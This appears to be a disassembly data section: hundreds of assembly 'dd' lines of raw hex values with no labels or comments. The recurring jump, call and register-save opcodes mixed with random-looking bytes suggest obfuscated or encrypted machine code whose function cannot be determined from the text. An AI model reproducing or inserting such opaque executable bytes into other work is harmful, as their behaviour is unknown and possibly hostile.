		dd 2D000000h, 9C7F83B5h, 0D75D639Fh, 5D41F204h,	11E8343Dh
		dd 22000000h, 24B2D189h, 0BA7AA1F2h, 0A7035CBCh, 0A67A854Fh
		dd 10E9h, 0AB30DD00h, 0F8DE3428h, 6D46C620h, 0D33C4022h
		dd 66595B97h, 13BAD881h, 6E8h, 9CA7F00h, 81F093FFh, 57A688DBh
		dd 5BB65B69h, 66F5FA8Ah, 6660FA8Bh, 3C6CD681h, 0E961C68Bh
		dd 9, 0DED1FD47h, 0F6BB3473h, 0B989B12Ch, 2DA7778Ch, 0DE9DE8Bh
		dd 67000000h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0FDEBF0Fh
		dd 0F98BF3B7h, 8F0FF38Bh, 3, 0B9C18B66h, 482A2352h, 8ACA8B66h
		dd 51CA8BE2h, 0F484C381h, 0F5A0291h, 84h, 7A2ABA00h, 81660887h
		dd 811E62DEh, 8B5967D2h, 0E0BE6625h, 7E37B969h,	8B6646F2h
		dd 5E8FBh, 1BFB0000h, 6675E56Dh, 8B59C68Bh, 0EF8166CEh
		dd 8B66A2ACh, 0ABBA66C8h, 11E95Fh, 99090000h, 9C156A14h
		dd 6830044Dh, 5E54543Ah, 0BB4D144Ah, 1C8CD07Ah,	0F88A9FB7h
		dd 8B6673B3h, 20F1B8DAh, 0BF0F750Eh, 0FC18BC0h,	0B85h
		dd 6E900h, 0C9020000h, 778DD969h, 2849F681h, 81667CFAh
		dd 8B68A9E1h, 3880FC1h,	80000000h, 4AB9C7C5h, 0B021C469h
		dd 48E0F27h, 66000000h,	0E837E3BFh, 0Dh, 10D709D2h, 0B4686A29h
		dd 0B05777A9h, 0F55058D7h, 57FA8B59h, 665ED78Bh, 0FE8BC18Bh
		dd 29F78166h, 576051C5h, 0C181665Fh, 5E619BF5h,	10E850h
		dd 0DFE30000h, 0D7A1299h, 7289E569h, 9DA01365h,	616034BEh
		dd 0B9665A5Ah, 0F556F54Ah, 8E0F605Ah, 3, 0E9B2C580h, 0Dh
		dd 5B165B57h, 977028C7h, 0C63E0C98h, 820F6144h,	8, 2870Fh
		dd 61600000h, 8E9h, 0B77ADC00h,	56D60656h, 0FE817h, 3F940000h
		dd 0EF70D08Eh, 458E1A76h, 0C5B652Ah, 80B86693h,	810F5B29h
		dd 6, 779BF381h, 8B0F5117h, 0
		dd 11E9h, 67FB1C00h, 99FA312Fh,	182C75A7h, 0B78E5C59h
		dd 0FCF8DA8Ah, 16840Fh,	11E90000h, 0EC000000h, 0DBBA334Bh
		dd 5079B958h, 0DA49202h, 11C08B63h, 9E857h, 0A8E90000h
		dd 4BD37024h, 0E84ACF68h, 0Fh, 0C7DB57E8h, 16142A8h, 75C32409h
		dd 5A2D0E50h, 2EB05A5Bh, 63CF8CB8h, 0F585072h, 0E381DFBFh
		dd 366EF9CFh, 95B9DE8Ah, 666130FEh, 0B70FC38Bh,	0F88B60C3h
		dd 6DC18166h, 0FE9614Ah, 95000000h, 243FCA0Dh, 0C5EC7629h
		dd 79B36AC2h, 800F227Ah, 3, 0FFDDC80h, 582h, 0B03BBE00h
		dd 13E865F8h, 96000000h, 0C62B6CC6h, 0B1C1BF6Fh, 9050F725h
		dd 0ACEB7D3Bh, 0DD8AF881h, 6656605Ah, 615AC68Bh, 66FBBF0Fh
		dd 0FD50CBEh, 489h, 61606000h, 0D1BF0F61h, 81F1F180h, 397D3C9h
		dd 35BA6669h, 9E923h, 0C38B0000h, 3C2F452h, 0E967242Dh
		dd 0Dh,	6A223FD8h, 1CEC7F13h, 3144034Bh, 8B0FF8E1h, 0Bh
		dd 0D8816660h, 0BB663299h, 0E961D385h, 8, 108AF5A2h, 0BF78C522h
		dd 57D3B70Fh, 0FE9h, 0CF1E5800h, 0B7E5F720h, 60BE31ABh
		dd 0DE535477h, 0C6B70F5Bh, 66D08B66h, 8B2ACF81h, 240BB66h
		dd 80C88B66h, 0BE6066EEh, 6DAABAC5h, 269CBB66h,	14E861h
		dd 0F21D0000h, 72EFEC40h, 2196A35Bh, 0AAA0CAA4h, 0BEAB4E81h
		dd 830F4A3Ah, 2, 60585A50h, 8A616060h, 16BF61D7h, 613A31E8h
		dd 1850Fh, 57FC0000h, 5BCEEB80h, 8BCB8B66h, 0F59AB8D8h
		dd 0BCB91036h, 603839E7h, 5D46B866h, 5A5F5053h,	0E2816661h
		dd 0D78B802Eh, 0C8BF0FFCh, 0A2E78166h, 5E9B7h, 0CEC40000h
		dd 8082A327h, 0FF8D8E7h, 10E9D8BFh, 6D000000h, 0A65AF135h
		dd 0B543232Ch, 0F84B4339h, 0F87AE807h, 0FD20FFB8h, 800F51h
		dd 0F000000h, 8Ah, 58F0F00h, 66000000h,	0C2D5EA81h, 11E8h
		dd 62807700h, 62998FFCh, 0B390989Bh, 0E88FE5BFh, 90BF6732h
		dd 5E2DFFF8h, 0D3B70F50h, 0E9DE8B59h, 0Ah, 754D3FE9h, 8596DF3Ah
		dd 0BF0F1BCBh, 0BE9C1h,	2E390000h, 0D9E99747h, 70BA460Dh
		dd 70DE81A9h, 60718329h, 0C6EBB866h, 6E8h, 0DF894800h
		dd 80C2992Fh, 615EB9DEh, 0BE8h,	18A2AC00h, 651828FFh, 3D872501h
		dd 68F0Fh, 870F0000h, 0
		dd 0AFBA665Bh, 0E8F38A99h, 11h,	25C0DF14h, 0BB136690h
		dd 0E3CEC8C7h, 55D5A3B0h, 0F78B6666h, 12E95Fh, 4D7D0000h
		dd 60FE183Bh, 0C4ABBCB7h, 0D2DC6B4Bh, 9705A595h, 66D38B66h
		dd 667BD1BBh, 8AA5ABBAh, 0E995B6C5h, 0Bh, 8D936AA2h, 0A7332619h
		dd 6066E1FFh, 0DE18166h, 8B66614Bh, 4CB866D8h, 0E9F9FC39h
		dd 0Bh,	6EBA3CD9h, 0B5B91CDAh, 66FA1377h, 0A784C981h, 0EE9CF8Bh
		dd 4B000000h, 400CDABEh, 0A2445E86h, 0D6BA5400h, 0EDF68112h
		dd 816089F3h, 691C88CBh, 4AB7F952h, 0F5BF551h, 198Ch, 0EE800h
		dd 0E750000h, 0DA9599B8h, 0B093BF31h, 50CAB4F3h, 1B1D1DBAh
		dd 0B8F55B4Dh, 1063F9F0h, 58E0Fh, 81660000h, 0F58376D6h
		dd 2B2FC0B9h, 7E927h, 1CFA0000h, 3519BAD9h, 13E985h, 0D33B0000h
		dd 2460D564h, 43AB19A8h, 9490A37Dh, 234591ADh, 0F61B0AAh
		dd 66FCD3B7h, 662A52BBh, 0F0F6FBBh, 0F83h, 0AE900h, 2CE60000h
		dd 0AD315863h, 64CB702Ch, 8E0Fh, 0F88B0000h, 7E9h, 3587ED00h
		dd 86E91A23h, 6830Fh, 0E3810000h, 56790CB5h, 0CB8B66F5h
		dd 0E8F2B70Fh, 6, 8D0EF047h, 0B86664E6h, 6058A110h, 5850FF8h
		dd 66000000h, 26AFCF81h, 8BDF8B61h, 8E0FFCC6h, 7, 3B22BE53h
		dd 0F95A5F07h, 0E689F681h, 0EE81DC8h, 0D9000000h, 0B3FB583Dh
		dd 32831238h, 0AAB95B60h, 0B0E98130h, 5F7C5C1Bh, 840Fh
		dd 0BA660000h, 13E93E38h, 4D000000h, 0C3D68D7Eh, 0CB777D2Fh
		dd 7DB32EADh, 32AC66D3h, 0BF0FBA43h, 6870FDBh, 81000000h
		dd 8E96FFEFh, 0DE807h, 72BA0000h, 0B1546DB8h, 0F064D042h
		dd 0BE480EC5h, 32A97D88h, 0FE959h, 19700000h, 0E1783763h
		dd 0A526B3E9h, 0E9EB28E8h, 4BB253D5h, 0E952505Bh, 7, 4756C630h
		dd 5E013A8Fh, 0E810F58h, 0E9000000h, 9,	72B3F565h, 0B59BC557h
		dd 5840F21h, 0BE000000h, 6736F8BDh, 0D1EE81F8h,	0B963EE07h
		dd 2C82246Fh, 5AF78B56h, 6E950h, 2FEA0000h, 43E0213Ah
		dd 66CF8B59h, 0F51BFBBFh, 0DB8166FCh, 810F114Fh, 9, 3860Fh
		dd 8B660000h, 8674BAD0h, 14E86F6Ah, 2E000000h, 0E941868Dh
		dd 2512D2D3h, 3A380BEAh, 77B0B704h, 8A4750A4h, 0FCFC5ECFh
		dd 6656D08Ah, 5159CE8Bh, 5BF18B66h, 0CE9h, 7E97A600h, 0C58B8697h
		dd 66048BB7h, 9DD6BEDFh, 0BF0F45E3h, 0F28166F3h, 7E85E63h
		dd 33000000h, 18919613h, 11E9CF84h, 0DE000000h,	0B718EAC0h
		dd 38C76BE4h, 0E534C536h, 333E4396h, 8E0FF858h,	8, 800F60h
		dd 61000000h, 69DB8166h, 3840F0Ah, 80000000h, 10E9D2C4h
		dd 0A5000000h, 6C4C559Bh, 0D94FCB89h, 0CAC265BBh, 0F241F9Eh
		dd 68Fh, 6BE28100h, 0FC0141F0h,	38E0Fh,	0BF0F0000h, 0FCA8BDAh
		dd 8B66DEBFh, 8F0FCEh, 81000000h, 0CB2416D8h, 663DB04Ah
		dd 633FC881h, 42DF81FCh, 0E936A224h, 0Fh, 653F91C7h, 5AE2E95Eh
		dd 0AE8DC6E9h, 81311E82h, 2EC648C6h, 0B846B67Eh, 531774A3h
		dd 810Fh, 0BF0F0000h, 0FC68BD1h, 810FD8BFh, 19h, 14E9h
		dd 0C568D100h, 0BE0A3076h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh
		dd 12E911h, 0DE140000h,	1AC215D8h, 0C9873132h, 0A821F2A4h
		dd 53CBDD2Ch, 68A0Fh, 0DB810000h, 59DA17D1h, 0E8FE8B66h
		dd 6, 0D5A5E59Dh, 81668447h, 5A0D16DAh,	0A06B03BBh, 0C6B70F69h
		dd 555BA66h, 0EE9h, 0A362D100h,	0D75BC68Fh, 34488642h
		dd 0F57BE3Eh, 0FF8CAB7h, 0CE8BFBB7h, 0F6BBF98Bh, 66118D66h
		dd 805FDB81h, 8E9h, 9504600h, 0EF4D69E5h, 4810F6Dh, 66000000h
		dd 0E9BBFBBAh, 11h, 0CCE1B46h, 0B99BC994h, 2201D86Ah, 8316534Ch
		dd 0F3B70F16h, 5860FFCh, 0B8000000h, 66921D4Ch,	4830Fh
		dd 0BF660000h, 0C0801D6Bh, 8BE38ADFh, 31CD80C1h, 81DEBF0Fh
		dd 9C2A08EAh, 5A4ABA71h, 0DF8B2905h, 0DE8h, 0A0BA1600h
		dd 89B37Ah, 7DB51F75h, 8166D3B5h, 59D1AEE9h, 51D1DC80h
		dd 8E960h, 9CB0000h, 2C8C9C9Eh,	880FCB61h, 0
		dd 0B9665F61h, 8166FD52h, 0F3827F6h, 7E8D7B7h, 57000000h
		dd 0F2134FA5h, 870FF4A6h, 3, 5926DC80h,	72DCBF53h, 0F582663h
		dd 380h, 0F28B6600h, 0CE8h, 9B735300h, 0A5EF35ABh, 0B8441CD7h
		dd 0DE8B667Fh, 0C040BA5Ah, 0EE931CDh, 98000000h, 0D7245D9Eh
		dd 3A471BC5h, 0AB6DD989h, 5060F957h, 8E959h, 4C500000h
		dd 0FDF30719h, 0E961BDA5h, 0Eh,	9E226BC1h, 0CD4D867h, 0ABE2E03Ah
		dd 0F6808EF2h, 0D3806030h, 8B0F614Ch, 12h, 0DE9h, 74F88200h
		dd 72F8F081h, 0E542447Eh, 0BA66DBD4h, 0BB66704Ah, 0FE98016h
		dd 0EC000000h, 3E2865B9h, 5CAB744Ah, 1CF02560h,	0DE962EFh
		dd 0C000000h, 0B8403E7Eh, 95E1ACCBh, 116048F2h,	0CE1B08B9h
		dd 9110BE5Fh, 0F0810037h, 562BB082h, 3E90C781h,	0CA8B31E2h
		dd 6602CB80h, 6B78C381h, 0FB60BE66h, 87C8B966h,	0B9665EB0h
		dd 8166A9F4h, 661C9CDBh, 0C080CA8Bh, 10E9F8AAh,	33000000h
		dd 3BE15A6Ah, 0D8BCD6FCh, 9BF3A513h, 66DF672Bh,	502FC781h
		dd 0EE9h, 95F5CF00h, 0AFB16B2Eh, 61EDFC08h, 81A57A7Ah
		dd 13D05DD7h, 71BA6633h, 10E98Bh, 0B4410000h, 0E1D366D0h
		dd 2EE53CF2h, 9FCFE33Bh, 870F6B7Ch, 3, 0F9C28B66h, 5E8h
		dd 9C0A7E00h, 5950B538h, 0CE8B6659h, 860973BAh,	66F28B08h
		dd 0F53B2BEh, 0E860D7BFh, 11h, 0C9040411h, 28AE13ABh, 803F0621h
		dd 50178F5Ah, 58D98AF0h, 0FE9h,	725F9400h, 0EC65456Bh
		dd 27C9D8A2h, 7F4F41F4h, 0BE961h, 0FE960000h, 8A27AF56h
		dd 0EF2123AAh, 53FE8B11h, 0F59C28Ah, 18Dh, 0F8B3F500h
		dd 66C8B70Fh, 0C44FD981h, 4850Fh, 0B8660000h, 8D0F1A17h
		dd 2, 8BF8C38Bh, 0D2BF0FD8h, 0F34DB80h,	687h, 28C98100h
		dd 0E972B45Bh, 0Eh, 0E47CCAB8h,	95E868DEh, 6E8A3h, 8B6631C8h
		dd 66F28BFBh, 0FFC81B8h, 28Ah, 0FC2B100h, 1980h, 14E900h
		dd 15390000h, 158BB6A9h, 1BE08953h, 8372A7D0h, 362662D2h
		dd 81F8302Bh, 1C9174CBh, 68BE6660h, 3800FB5h, 0F000000h
		dd 0D68BC6B7h, 11E9h, 11729D00h, 54E1DD72h, 0FB40F795h
		dd 6837539Bh, 6FBE23FBh, 81775E8Ah, 86EE55F1h, 8F2811Ch
		dd 81595716h, 0D14401DEh, 2BB8FC6Ch, 0E83064F0h, 0Bh, 0A5338CB1h
		dd 2DEE9953h, 819AD121h, 0A85CF8E2h, 0BE85973h,	0DC000000h
		dd 8469CA5Fh, 0F7F9E7CEh, 816611F4h, 5A3674D7h,	0D26B866h
		dd 0F79F180h, 8166F8B7h, 0F0265C8h, 589h, 0F2816600h, 0FA8A1F57h
		dd 6D4AF781h, 8B660D1Fh, 8D0FD1h, 80000000h, 0B86623F5h
		dd 0E780B28Bh, 0BE9609Eh, 19000000h, 80415F39h,	0F1B7FBCCh
		dd 0B9661AA4h, 0F6149FEh, 0DF80C6B7h, 0D9816679h, 0EC80CEE7h
		dd 8A0F52FEh, 2, 0B35FEF8Ah, 5E921h, 6D6C0000h,	50B02520h
		dd 7E9h, 7AC51400h, 5256ABE6h, 0D181FC58h, 7B4251A8h, 94C38166h
		dd 0BF0F57BFh, 0AE85EC0h, 0D0000000h, 9F84E8A1h, 4866279Bh
		dd 66BA6614h, 81665AB0h, 6022D2C2h, 0FD18B66h, 28Fh, 61595200h
		dd 0BF0FE28Ah, 0AE8F7h,	0E0A80000h, 522E0A40h, 0E1970F71h
		dd 66583DB6h, 808D8EBEh, 8A0F0EC1h, 4, 0B5B866h, 0F08ABDB6h
		dd 0F18B66F9h, 0CE960FCh, 4F000000h, 0A56DDB35h, 504DB0EDh
		dd 0B783FCB6h, 0AE961B4h, 1A000000h, 920FC6CBh,	4095DF8Fh
		dd 0E9B6B269h, 14h, 0AA5693C5h,	7A9895E7h, 0EEAF677Bh
		dd 0BF30F16Bh, 99CF0D58h, 0C88BFC60h, 7FBF6661h, 0B9F78159h
		dd 0E8564040h, 6, 0A0362D35h, 12E92366h, 99000000h, 0EC604D40h
		dd 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h, 0E8F55849h, 5, 17CC5CB7h
		dd 0D7F0B907h, 0E9596736h, 0Eh,	166131C4h, 9D75EE11h, 5670E121h
		dd 8B661FB9h, 0F9CB8AD0h, 8B66F78Bh, 830FF9h, 66000000h
		dd 14CDD881h, 7E8F9h, 456B0000h, 0D8A2EC65h, 0E95FF5C9h
		dd 0Fh,	8A042F94h, 0A3374469h, 0F87342D2h, 0F96FEF9Fh
		dd 8BC68B66h, 0BE9F0h, 0A40A0000h, 3B95B005h, 7D0F3700h
		dd 0AF12BE97h, 8B665462h, 0BE8FCD8h, 6A000000h,	1E6446DFh
		dd 352F2BA3h, 0D281E03Bh, 6FC129E1h, 0BB9EB658h, 10388016h
		dd 9C5BB66h, 0AE9h, 44CF6200h, 7B9A1C4Dh, 0F4BDA47h, 68Fh
		dd 92C78100h, 660C125Bh, 605218BAh, 0E281CF8Bh,	5875FE14h
		dd 0EE861h, 0AA120000h,	3754FB5Bh, 0AC0C6633h, 32D0A030h
		dd 0F5F78B1h, 38Fh, 0E4E98000h,	13E8h, 0BDB64300h, 60767591h
		dd 123F88BFh, 5A61CD90h, 0C0CC6B6h, 12E9h, 3F4B5800h, 0E69A09FFh
		dd 707B7D4Bh, 4B6BB8E0h, 5F2BD1C0h, 5E982B0h, 0AE000000h
		dd 0B035824Fh, 12E8h, 3EBAEC00h, 0B6EE40E4h, 419D5532h
		dd 23BCEFD6h, 50FDFF53h, 5EC2BF0Fh, 91BE665Ah, 51EE817Ah
		dd 0F43E1B5h, 18B1DFBFh, 8E960h, 8E800000h, 5F0F49D3h
		dd 0F861CE47h, 5820Fh, 81660000h, 60E4A9D3h, 51DBBF0Fh
		dd 6E8h, 0EB52B800h, 585BA5ABh,	7FB9615Ah, 66298ACEh, 850FC68Bh
		dd 5, 0E0EA8166h, 0C1B70F07h, 5E50F98Bh, 13E8h,	0C03EFE00h
		dd 87B6FD8Ah, 0A03CBF34h, 26667D6Ch, 0E24713B2h, 0DACB8051h
		dd 0F5565A5Fh, 22B86659h, 0B8B96679h, 0FCA4BFB3h, 12E81487h
		dd 32000000h, 6136AC2Ah, 0F4259CADh, 5F23684Fh,	2C8B1F0Bh
		dd 8B666056h, 0CABF0FD6h, 0E9505B61h, 9, 784AEADAh, 0F04E443Ah
		dd 60FC5E8Fh, 6061FA8Bh, 6667E180h, 615D43BFh, 6FAAB966h
		dd 98C58060h, 8F0Fh, 0E9610000h, 0Bh, 4C1BEC0Ch, 4EBF76FAh
		dd 0B0A74F79h, 5840FFAh, 0B9000000h, 5FA68C91h,	3880Fh
		dd 8B660000h, 978FBAC7h, 0DA8A623Fh, 0DDBBD0B2h, 0BA470493h
		dd 196B0424h, 0E0816652h, 6059B0C0h, 3820Fh, 0B70F0000h
		dd 615A56DFh, 58C0Fh, 69BA0000h, 0E936B6DBh, 10h, 152925ABh
		dd 0B1077759h, 0E13C8EB3h, 1E94EB05h, 0E6EA8160h, 61368D9Dh
		dd 8166C3B6h, 806BA7CEh, 0BF0FABDBh, 6E9D8h, 548A0000h
		dd 5C936E4h, 6810Fh, 8C0F0000h,	0
		dd 0F31CD80h, 0E956F2BFh, 13h, 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch
		dd 7B0625C6h, 5E855963h, 61C68166h, 8D0F6068h, 5, 6CE38166h
		dd 8161F851h, 9AC9E7DFh, 92BF6608h, 0FFBF0FDCh,	0DE9h
		dd 106B7F00h, 16199D1Dh, 0CB76AE39h, 880F9832h,	13h, 0CE957h
		dd 9D0F0000h, 8AC43CC3h, 696C2C29h, 0B75A5E46h,	0A5B25256h
		dd 0F08B6658h, 33C88166h, 82C38008h, 9E939B2h, 21000000h
		dd 79785F1Ah, 0D1CBABC1h, 0AE960h, 2EA40000h, 8832DB04h
		dd 4A5F5C58h, 880Fh, 0BB610000h, 666A3F3Bh, 7E9h, 5748EF00h
		dd 85E7DA3Bh, 800FD38Ah, 10h, 0BE9h, 56996B00h,	1CC6C6A0h
		dd 2B76CEE5h, 0FF7B70Fh, 58Fh, 0D7816600h, 0FA8A77DCh
		dd 80D9B70Fh, 0E781FAC4h, 7A0D78C1h, 0A1E281F5h, 0F6873CCh
		dd 38Bh, 0C88B6600h, 5880Fh, 80530000h,	665FD8D8h, 8287F381h
		dd 38B0Fh, 0F4800000h, 11E848h,	32490000h, 0C5EEA11Eh
		dd 3607663Ch, 0E97CE55Ah, 668B9500h, 0B76CF81h,	14E95Eh
		dd 0CB30000h, 454E134Bh, 0EA742BEAh, 0A9B9A8C4h, 5012FF82h
		dd 0FEBFFAE5h, 0F4852FAh, 1986h, 14E900h, 65F50000h, 33D67D9Ch
		dd 1AAB0AD7h, 651212A1h, 18B3DBF3h, 0C381B006h,	2E1B4B98h
		dd 3810FFCh, 66000000h,	14E9CE8Bh, 74000000h, 96FED67Eh
		dd 51283E96h, 0A028D711h, 705737D8h, 0F54394Ch,	6E9DFB7h
		dd 0F3000000h, 223B3FA7h, 8166604Eh, 0F92DDAD2h, 18870F61h
		dd 50000000h, 11E9h, 847D6A00h,	2D967712h, 9DC549D9h, 0B5632F1h
		dd 605BE4A4h, 4CD28166h, 616DB213h, 48E0Fh, 0B6570000h
		dd 8E85F0Ah, 3C000000h,	8AC8F384h, 66331175h, 5F2AD0BFh
		dd 18D0Fh, 0B9F50000h, 2C94BD30h, 68E0Fh, 0D0810000h, 29EA2577h
		dd 0F287B966h, 0F532ED80h, 5DBA6651h, 8B665A95h, 0AE9F8h
		dd 81C50000h, 2AE4D8D7h, 0EF1E78EEh, 0DE9h, 0B9C5ED00h
		dd 0E83AC46Ch, 3C98E737h, 13E9E34Bh, 0A8000000h, 22C2CDA3h
		dd 675FEF8Fh, 0E68C8EC3h, 5F41E4C5h, 3EB89299h,	0F0AFC41h
		dd 383h, 0DABF0F00h, 6E9h, 0C8752B00h, 66A8B7ECh, 870FFA8Bh
		dd 6, 900FD681h, 0F1BA31B9h, 0E96E5A9Bh, 5, 0D08154FDh
		dd 3FBE666Dh, 0BE958h, 4DD80000h, 0F5A00E8h, 1F3816E6h
		dd 0BE8DEh, 5E1A0000h, 3A252230h, 0F5CAA36Fh, 18F9B922h
		dd 0F5B23D4h, 48Fh, 56BF6600h, 7B55BF56h, 10E92635h, 21000000h
		dd 0A33F5F77h, 97343FDAh, 0AD74F4ECh, 6688F071h, 0F0B9CB8h
		dd 1888h, 13E900h, 0CB760000h, 20A19832h, 1CB91509h, 0AB1FEB46h
		dd 6E532419h, 0B70F60D1h, 61CA8AF7h, 0EBCA8166h, 66595090h
		dd 0B70FDF8Bh, 0CE9D3h,	0A35D0000h, 2772E3B0h, 1FD8B817h
		dd 0BF0F46BEh, 66F78BD9h, 810F5CB9h, 25C288D9h,	8F9B96Eh
		dd 0C1815A52h, 4C53435Fh, 0FE9h, 92B9B300h, 948E189h, 0C9E9A78Dh
		dd 0BD924586h, 3840Fh, 8B660000h, 5810FD1h, 66000000h
		dd 6089E981h, 0F8C98150h, 5B0D5F32h, 10E9h, 0CC6F5D00h
		dd 29544538h, 0BF2A7706h, 0D81A1012h, 0BF66F511h, 0CC8AD97Dh
		dd 2DF28166h, 7E960h, 6FAD0000h, 4DB56F9Ch, 12820F03h
		dd 0E8000000h, 0Ah, 10B2252Ah, 789A837Ah, 5951116Ah, 74D0805Eh
		dd 860Fh, 0AE80000h, 4C000000h,	62E2212Ch, 1C2FDC16h, 0F5BFCFCh
		dd 488h, 0CABE6600h, 0D8BF66ADh, 0FEBF0F9Ah, 4810Fh, 0B8660000h
		dd 0B70F9217h, 18F0FC9h, 0F9000000h, 13E9h, 7CEBED00h
		dd 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh, 0F29D0C0Dh, 4800Fh
		dd 0BE660000h, 0B70F70AFh, 0FF98BC7h, 184h, 9E9F500h, 0FB000000h
		dd 5F22B2AFh, 2FF96FB0h, 0E3F4FDBEh, 78C0F75h, 60000000h
		dd 83E98166h, 0AE961A6h, 82000000h, 28862283h, 0DE970649h
		dd 0C4B157F9h, 10E95Ah,	0D5F40000h, 96CEC5B0h, 6255C966h
		dd 9E657Fh, 0D4803F70h,	0BB72BE89h, 8E91FF6h, 4D000000h
		dd 9D9042F1h, 0E912E9EEh, 7, 341CE73Bh,	66866272h, 0FE8D98Bh
		dd 71000000h, 6313EEC7h, 96D64631h, 4C63807Eh, 0BE98482h
		dd 4F000000h, 0DA3CF9CAh, 85D9F132h, 665BDA84h,	660C06BBh
		dd 0FC1F32B8h, 0A7EFC381h, 80601D61h, 0CE939F1h, 4F000000h
		dd 4B546F15h, 798BFA5Bh, 61BECAE2h, 5890Fh, 81660000h
		dd 811CFBDFh, 37F3CAC0h, 0F2B70F31h, 0FE9D18Bh,	99000000h
		dd 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 66F81902h, 0FCAC19B8h
		dd 0FE8h, 21EC9200h, 0E21F2C22h, 27EBCEC0h, 0E7C7F0F6h
		dd 5A585351h, 0FAB70F59h, 0F8C28B66h, 0FBD28166h, 0CE8CBh
		dd 97B00000h, 0BFD3A4D8h, 0A6573C5h, 0BF0FCDD1h, 4CB85FC6h
		dd 664978D3h, 66CE13BEh, 60FEA2BFh, 0CD11BB66h,	0C68B6656h
		dd 0C3806158h, 0C38B668Bh, 6650D78Bh, 6659F38Bh, 0EE9D68Bh
		dd 0
		dd 6B41F8B5h, 3D1FADA2h, 0B9903ECEh, 60BEB201h,	80F88B66h
		dd 506141E2h, 8C0F51h, 5F000000h, 0E881665Bh, 6060CAA7h
		dd 0FA73DF81h, 816644C3h, 613F5DCFh, 0AE861h, 29400000h
		dd 9821B3Ah, 542EB427h,	28B0Fh,	5E500000h, 10E958h, 0F7490000h
		dd 0D4AE67C4h, 0ECE8D98Ah, 445B9DD7h, 0BF0F1A49h, 8BF28BCEh
		dd 850FF0h, 0F000000h, 14E9FEBFh, 57000000h, 0BA8FC788h
		dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 66F72340h, 0BF0FF88Bh
		dd 5810FF7h, 0BE000000h, 5EAED2C5h, 13E9h, 1A63900h, 80EC63E0h
		dd 518F4481h, 6CC51EAEh, 9078E030h, 288C0Fh, 0FE80000h
		dd 0B9000000h, 78761D2Bh, 864B7156h, 5BD5A1E7h,	0EE9681Ch
		dd 83000000h, 0BD4BA613h, 340C6E14h, 27C6862h, 0FC575F06h
		dd 0CE95Bh, 8FA50000h, 0CF275AA8h, 42E9FE33h, 0E9FC3658h
		dd 5, 0CEF181D7h, 68F0F0Ah, 81000000h, 77C01C2h, 0F0BF666Eh
		dd 8166F8B8h, 0FCA07C6h, 8B66C0B7h, 9148BEC3h, 6E91D6Ch
		dd 0F0000000h, 10FB5708h, 18850F8Dh, 0E9000000h, 13h, 0AED6EEA0h
		dd 47B232D5h, 93CCB86Bh, 0BC8FF90Fh, 0F980DC3h,	8B66D2B7h
		dd 13E9DAh, 0CC870000h,	0C41E5F50h, 6388631Ch, 993E69D4h
		dd 1D424CA3h, 0F28166C7h, 880F2150h, 2,	8C0FDE8Bh, 5, 27B0BEBAh
		dd 3A46BF6Ch, 0FF558B9h, 0F52DBB7h, 188h, 0B45EF900h, 4DBA6092h
		dd 617E84D5h, 890F60h, 61000000h, 0DD2CC3B8h, 7E9F504h
		dd 0F8000000h, 0C9F42F84h, 66F575BBh, 0DB81D881h, 17800Fh
		dd 12E90000h, 6C000000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh
		dd 0BA8E8909h, 47B86668h, 60F78BE2h, 66C28B66h,	0A8C0CB81h
		dd 0FFCF861h, 198Ch, 14E900h, 67340000h, 5D655C1Eh, 0E724ADF9h
		dd 0D341107Fh, 624605CAh, 8B519512h, 0E0805EFEh, 7BE18140h
		dd 664F45C7h, 4CFF781h,	11E9h, 0FD3DDC00h, 0E554D1Fh, 379E7258h
		dd 85C2AECDh, 8E96E7Fh,	7D000000h, 9B3FAB3h, 66F8E436h
		dd 0F22A3BEh, 687h, 41C68100h, 0E937A04Bh, 8, 917F6E99h
		dd 0C000CEC7h, 1A810Fh,	810F0000h, 14h,	0EE8h, 5BE1FA00h
		dd 0C889EB88h, 9335F770h, 5ED607C6h, 0C8B0Fh, 810F0000h
		dd 6, 890Fh, 810F0000h,	0Ch, 68A0Fh, 8A0F0000h,	0
		dd 0CE8h, 0B8A8BD00h, 243FAE3h,	0BB6E1DD3h, 0B70F6050h
		dd 615B57D7h, 0C6BF0F58h, 62B86660h, 12E95Dh, 9E2D0000h
		dd 41BCD5D8h, 0E76F3EC7h, 0B8372300h, 0DF613878h, 18E0F61h
		dd 0F5000000h, 8F0Fh, 860F0000h, 14h, 0FE9h, 148A1100h
		dd 9A1530Dh, 30BC6E84h,	0D8895B90h, 810FF88Bh, 5, 7D1848BFh
		dd 2870F2Fh, 8B000000h,	0E84EB2C7h, 9, 5085ED38h, 362371BEh
		dd 665BF50Eh, 8166CF8Bh, 66E6F9EAh, 0EB81D38Bh,	3CC85C76h
		dd 0FF2B70Fh, 1987h, 14E900h, 0B92F0000h, 0FC8957D6h, 53293B1Ch
		dd 3C5C475Dh, 7AD82DAFh, 0C7810CBBh, 273EE40Bh,	69ECB866h
		dd 0DA8B6660h, 6E9h, 34FDD000h,	6180F25Dh, 80B1EA80h, 9E8ECF6h
		dd 52000000h, 9936B4CFh, 26E23D2Bh, 2253B95Bh, 0BB66780Bh
		dd 0BE661620h, 0B866AE47h, 0A0B85CE1h, 8B7D7BC7h, 0BE8CFh
		dd 2DD80000h, 3A9F5D9Bh, 717948B1h, 48F0FE4h, 66000000h
		dd 5F0DEAB9h, 9E9h, 7B3FE700h, 87878F4Ah, 0BF6693CFh, 69BB7010h
		dd 0F79CC53h, 28Ah, 660AB500h, 0FAB92B9h, 8B60CFB7h, 8F0F56FBh
		dd 0
		dd 850F615Fh, 4, 1423B966h, 0B0B0BF66h,	0BF665650h, 5F5ED2B4h
		dd 76D38166h, 38E0FD6h,	0F000000h, 0F50FAB7h, 489h, 37BF6600h
		dd 8C0F5F7Dh, 0Ah, 1962B860h, 8B66757Bh, 0D18B61C7h, 12E9h
		dd 15DD7E00h, 3DC52935h, 4133086Ch, 3684110Ch, 0F8D50029h
		dd 0DE8h, 42C3FB00h, 0A22034BAh, 78917644h, 0BB6630ABh
		dd 0E85A4BABh, 5, 0BDBBD1F0h, 6659F504h, 0BF73F081h, 74A3B966h
		dd 6BBA66F8h, 8166F82Fh, 576AA2E9h, 0BE5EF78Bh,	82B6748h
